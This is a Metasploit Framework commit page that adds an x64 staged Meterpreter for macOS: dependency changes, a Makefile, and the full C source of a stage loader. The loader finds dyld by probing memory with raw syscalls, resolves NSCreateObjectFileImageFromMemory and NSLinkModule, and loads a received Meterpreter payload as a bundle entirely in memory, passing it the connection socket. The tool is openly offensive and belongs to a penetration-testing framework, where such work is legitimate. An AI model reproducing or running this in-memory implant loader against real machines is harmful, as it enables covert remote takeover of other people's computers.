Skip to content

Commit 05e002e

Browse files
committed
Land rapid7#9366, Add x64 staged Meterpreter for macOS
2 parents 69c7e83 + 64c7251 commit 05e002e

File tree

7 files changed

+570
-28
lines changed

7 files changed

+570
-28
lines changed

Gemfile.lock

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,7 @@ PATH
5858
rex-struct2
5959
rex-text
6060
rex-zip
61+
ruby-macho
6162
ruby_smb
6263
rubyntlm
6364
rubyzip
@@ -320,6 +321,7 @@ GEM
320321
rspec-rerun (1.1.0)
321322
rspec (~> 3.0)
322323
rspec-support (3.7.0)
324+
ruby-macho (1.1.0)
323325
ruby-rc4 (0.1.5)
324326
ruby_smb (0.0.18)
325327
bindata
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -Os -O0
2+
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
3+
GCC_BASE_OSX=$(GCC_BIN_OSX) $(CFLAGS)
4+
GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
5+
6+
all: clean main_osx
7+
8+
main_osx: main.c
9+
$(GCC_OSX) -o $@ $^
10+
11+
install: main_osx
12+
cp main_osx ../../../../../data/meterpreter/x64_osx_stage
13+
14+
shellcode: install
15+
otool -tv main_osx
16+
17+
clean:
18+
rm -f *.o main_osx
19+
Lines changed: 301 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,301 @@
1+
/*
2+
* References:
3+
* @parchedmind
4+
* https://github.com/CylanceVulnResearch/osx_runbin/blob/master/run_bin.c
5+
*
6+
* @nologic
7+
* https://github.com/nologic/shellcc
8+
*/
9+
10+
#include <stdio.h>
11+
#include <string.h>
12+
13+
#include <mach-o/loader.h>
14+
#include <mach-o/nlist.h>
15+
#include <mach-o/dyld.h>
16+
17+
#include <sys/types.h>
18+
#include <sys/sysctl.h>
19+
20+
typedef NSObjectFileImageReturnCode (*NSCreateObjectFileImageFromMemory_ptr)(void *address, unsigned long size, NSObjectFileImage *objectFileImage);
21+
typedef NSModule (*NSLinkModule_ptr)(NSObjectFileImage objectFileImage, const char* moduleName, unsigned long options);
22+
23+
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer);
24+
uint64_t find_symbol(uint64_t base, char* symbol);
25+
uint64_t find_entry_offset(struct mach_header_64 *mh);
26+
int string_compare(const char* s1, const char* s2);
27+
int detect_sierra();
28+
29+
/*#define DEBUG*/
30+
#ifdef DEBUG
31+
static void print(char * str);
32+
#endif
33+
34+
#define DYLD_BASE_ADDR 0x00007fff5fc00000
35+
36+
int main(int argc, char** argv)
37+
{
38+
#ifdef DEBUG
39+
print("main!\n");
40+
#endif
41+
uint64_t buffer = 0;
42+
uint64_t buffer_size = 0;
43+
__asm__(
44+
"movq %%r10, %0;\n"
45+
"movq %%r12, %1;\n"
46+
: "=g"(buffer), "=g"(buffer_size));
47+
48+
#ifdef DEBUG
49+
print("hello world!\n");
50+
#endif
51+
52+
int sierra = detect_sierra();
53+
uint64_t binary = DYLD_BASE_ADDR;
54+
if (sierra) {
55+
binary = find_macho(0x100000000, 0x1000, 0);
56+
if (!binary) {
57+
return 1;
58+
}
59+
binary += 0x1000;
60+
}
61+
uint64_t dyld = find_macho(binary, 0x1000, 0);
62+
if (!dyld) {
63+
return 1;
64+
}
65+
66+
NSCreateObjectFileImageFromMemory_ptr NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory");
67+
if (!NSCreateObjectFileImageFromMemory_func) {
68+
return 1;
69+
}
70+
#ifdef DEBUG
71+
print("good symbol!\n");
72+
#endif
73+
74+
NSLinkModule_ptr NSLinkModule_func = (void*)find_symbol(dyld, "_NSLinkModule");
75+
if (!NSLinkModule_func) {
76+
return 1;
77+
}
78+
79+
if (!sierra) {
80+
NSCreateObjectFileImageFromMemory_func -= DYLD_BASE_ADDR;
81+
NSLinkModule_func -= DYLD_BASE_ADDR;
82+
}
83+
84+
/*if (*(char*)buffer == 'b') {*/
85+
/*print("magic b!\n");*/
86+
/*}*/
87+
*(char*)buffer = '\xcf';
88+
((uint32_t *)buffer)[3] = MH_BUNDLE;
89+
90+
NSObjectFileImage fi = 0;
91+
if (NSCreateObjectFileImageFromMemory_func((void*)buffer, buffer_size, &fi) != 1) {
92+
return 1;
93+
}
94+
#ifdef DEBUG
95+
print("created!\n");
96+
#endif
97+
98+
NSModule nm = NSLinkModule_func(fi, "", NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW | NSLINKMODULE_OPTION_RETURN_ON_ERROR);
99+
if (!nm) {
100+
#ifdef DEBUG
101+
print("no nm!\n");
102+
#endif
103+
return 1;
104+
}
105+
#ifdef DEBUG
106+
print("good nm!\n");
107+
#endif
108+
109+
uint64_t execute_base = (uint64_t)nm;
110+
execute_base = find_macho(execute_base, sizeof(int), 1);
111+
112+
uint64_t entry_off = find_entry_offset((void*)execute_base);
113+
if (!entry_off) {
114+
return 1;
115+
}
116+
uint64_t entry = (execute_base + entry_off);
117+
int(*main_func)(int, char**) = (int(*)(int, char**))entry;
118+
char* socket = (char*)(size_t)argc;
119+
char *new_argv[] = { "m", socket, NULL };
120+
int new_argc = 2;
121+
return main_func(new_argc, new_argv);
122+
}
123+
124+
uint64_t find_symbol(uint64_t base, char* symbol)
125+
{
126+
struct segment_command_64 *sc, *linkedit, *text;
127+
struct load_command *lc;
128+
struct symtab_command *symtab;
129+
struct nlist_64 *nl;
130+
131+
char *strtab;
132+
symtab = 0;
133+
linkedit = 0;
134+
text = 0;
135+
136+
lc = (struct load_command *)(base + sizeof(struct mach_header_64));
137+
for (int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) {
138+
if (lc->cmd == LC_SYMTAB) {
139+
symtab = (struct symtab_command *)lc;
140+
} else if (lc->cmd == LC_SEGMENT_64) {
141+
sc = (struct segment_command_64 *)lc;
142+
char * segname = ((struct segment_command_64 *)lc)->segname;
143+
if (string_compare(segname, "__LINKEDIT") == 0) {
144+
linkedit = sc;
145+
} else if (string_compare(segname, "__TEXT") == 0) {
146+
text = sc;
147+
}
148+
}
149+
lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
150+
}
151+
152+
if (!linkedit || !symtab || !text) {
153+
return 0;
154+
}
155+
156+
unsigned long file_slide = linkedit->vmaddr - text->vmaddr - linkedit->fileoff;
157+
strtab = (char *)(base + file_slide + symtab->stroff);
158+
159+
nl = (struct nlist_64 *)(base + file_slide + symtab->symoff);
160+
for (int i=0; i<symtab->nsyms; i++) {
161+
char *name = strtab + nl[i].n_un.n_strx;
162+
/*#ifdef DEBUG*/
163+
/*print(name);*/
164+
/*print("\n");*/
165+
/*#endif*/
166+
if (string_compare(name, symbol) == 0) {
167+
return base + nl[i].n_value;
168+
}
169+
}
170+
171+
return 0;
172+
}
173+
174+
uint64_t syscall_chmod(uint64_t path, long mode)
175+
{
176+
uint64_t chmod_no = 0x200000f;
177+
uint64_t ret = 0;
178+
__asm__(
179+
"movq %1, %%rax;\n"
180+
"movq %2, %%rdi;\n"
181+
"movq %3, %%rsi;\n"
182+
"syscall;\n"
183+
"movq %%rax, %0;\n"
184+
: "=g"(ret)
185+
: "g"(chmod_no), "S"(path), "g"(mode)
186+
:);
187+
return ret;
188+
}
189+
190+
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer)
191+
{
192+
while(1) {
193+
uint64_t ptr = addr;
194+
if (pointer) {
195+
ptr = *(uint64_t *)ptr;
196+
}
197+
unsigned long ret = syscall_chmod(ptr, 0777);
198+
if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_64) {
199+
return ptr;
200+
}
201+
202+
addr += increment;
203+
}
204+
return 0;
205+
}
206+
207+
uint64_t find_entry_offset(struct mach_header_64 *mh)
208+
{
209+
struct entry_point_command *entry;
210+
struct load_command *lc = (struct load_command *)((void*)mh + sizeof(struct mach_header_64));
211+
for (int i=0; i<mh->ncmds; i++) {
212+
if (lc->cmd == LC_MAIN) {
213+
entry = (struct entry_point_command *)lc;
214+
return entry->entryoff;
215+
}
216+
217+
lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
218+
}
219+
220+
return 0;
221+
}
222+
223+
int string_compare(const char* s1, const char* s2)
224+
{
225+
while (*s1 != '\0' && *s1 == *s2)
226+
{
227+
s1++;
228+
s2++;
229+
}
230+
return (*(unsigned char *) s1) - (*(unsigned char *) s2);
231+
}
232+
233+
int detect_sierra()
234+
{
235+
uint64_t sc_sysctl = 0x20000ca;
236+
int name[] = { CTL_KERN, KERN_OSRELEASE };
237+
uint64_t nameptr = (uint64_t)&name;
238+
uint64_t namelen = sizeof(name)/sizeof(name[0]);
239+
char osrelease[32];
240+
size_t size = sizeof(osrelease);
241+
uint64_t valptr = (uint64_t)osrelease;
242+
uint64_t valsizeptr = (uint64_t)&size;
243+
uint64_t ret = 0;
244+
245+
__asm__(
246+
"mov %1, %%rax;\n"
247+
"mov %2, %%rdi;\n"
248+
"mov %3, %%rsi;\n"
249+
"mov %4, %%rdx;\n"
250+
"mov %5, %%r10;\n"
251+
"xor %%r8, %%r8;\n"
252+
"xor %%r9, %%r9;\n"
253+
"syscall;\n"
254+
"mov %%rax, %0;\n"
255+
: "=g"(ret)
256+
: "g"(sc_sysctl), "g"(nameptr), "g"(namelen), "g"(valptr), "g"(valsizeptr)
257+
: );
258+
259+
// osrelease is 16.x.x on Sierra
260+
if (ret == 0 && size > 2) {
261+
if (osrelease[0] == '1' && osrelease[1] < '6') {
262+
return 0;
263+
}
264+
if (osrelease[0] <= '9' && osrelease[1] == '.') {
265+
return 0;
266+
}
267+
}
268+
return 1;
269+
}
270+
271+
#ifdef DEBUG
272+
int string_len(const char* s1)
273+
{
274+
const char* s2 = s1;
275+
while (*s2 != '\0')
276+
{
277+
s2++;
278+
}
279+
return (s2 - s1);
280+
}
281+
282+
void print(char * str)
283+
{
284+
long write = 0x2000004;
285+
long stdout = 1;
286+
unsigned long len = string_len(str);
287+
unsigned long long addr = (unsigned long long) str;
288+
unsigned long ret = 0;
289+
/* ret = write(stdout, str, len); */
290+
__asm__(
291+
"movq %1, %%rax;\n"
292+
"movq %2, %%rdi;\n"
293+
"movq %3, %%rsi;\n"
294+
"movq %4, %%rdx;\n"
295+
"syscall;\n"
296+
"movq %%rax, %0;\n"
297+
: "=g"(ret)
298+
: "g"(write), "g"(stdout), "S"(addr), "g"(len)
299+
: "rax", "rdi", "rdx" );
300+
}
301+
#endif
4.45 KB
Binary file not shown.

metasploit-framework.gemspec

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -118,6 +118,7 @@ Gem::Specification.new do |spec|
118118
#
119119
# Needed by auxiliary/gather/http_pdf_authors module
120120
spec.add_runtime_dependency 'pdf-reader'
121+
spec.add_runtime_dependency 'ruby-macho'
121122

122123
#
123124
# Protocol Libraries

0 commit comments

Comments
 (0)